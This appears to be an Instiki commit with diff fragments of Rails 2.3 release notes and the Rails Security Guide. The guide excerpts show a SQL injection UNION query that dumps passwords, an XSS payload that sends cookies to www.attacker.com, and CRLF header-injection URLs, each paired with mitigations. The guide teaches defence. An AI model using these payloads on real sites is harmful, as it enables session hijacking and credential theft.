<video> and x-sendfile

Using <object> and <embed> were forbidden for obvious
security reasons. Instiki now permits embedding video
via the HTML5 <video> element (Ogg/Theora encoded videos
only, with .ogg or .ogv extensions). You can even upload
videos with

    [[foo.ogg:video]]

Instiki now support x-sendfile. See the Proxying page for
configuring Apache (with the x-sendfile module). Lighttpd
should work similarly.

Update Rails to latest Edge (hopefully converging on RC2!).

 h2. Ruby on Rails 2.3 Release Notes
 
+NOTE: These release notes refer to RC2 of Rails 2.3. This is a release candidate, and not the final version of Rails 2.3. It's intended to be a stable testing release, and we urge you to test your own applications and report any issues to the "Rails Lighthouse":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview.
+
 Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub or review the +CHANGELOG+ files for the individual Rails components.

+h4. A Note About Template Loading
+
+Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server.
+
+In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your +production.rb+ file:
+
+<ruby>
+config.action_view.cache_template_loading = true

+
+This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.

 SELECT * FROM projects WHERE (name = '') UNION
   SELECT id,login AS name,password AS description,1,1,1 FROM users --')

 The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.

 Here is the most straightforward test to check for XSS:
 
-<pre>

 This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:

 h6. Cookie theft
 
 These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:
 
-<pre>
+<plain>
 <script>document.write(document.cookie);</script>
-</pre>
+</plain>
 
 For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie.
 
-<pre>
+<html>
 <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
-</pre>
+</html>
 
 The log files on www.attacker.com will read like this:
 
-<pre>
+<plain>
 GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
-</pre>
+</plain>
 
 You can mitigate these attacks (in the obvious way) by adding the "httpOnly":http://dev.rubyonrails.org/ticket/8895 flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies "will still be visible using Ajax":http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/, though.

 Imagine a blacklist deletes “script” from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:

 Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages.

Here is an attack vector in UTF-8 encoding:

 The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.

 Besides that, it is _(highlight)important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
 
-<pre>
+<ruby>
 redirect_to params[:referer]
-</pre>
+</ruby>
 
 What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:
 
-<pre>
+<plain>
 http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
-</pre>
+</plain>
 
 And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:
 
-<pre>
+<plain>
 http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
 http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
-</pre>
+</plain>
 
 Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.
 
-<pre>
+<plain>
 HTTP/1.1 302 Moved Temporarily
 (...)
 Location: http://www.malicious.tld
-</pre>
+</plain>
 
 So _(highlight)attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the +redirect_to+ method. _(highlight)Make sure you do it yourself when you build other header fields with user input._
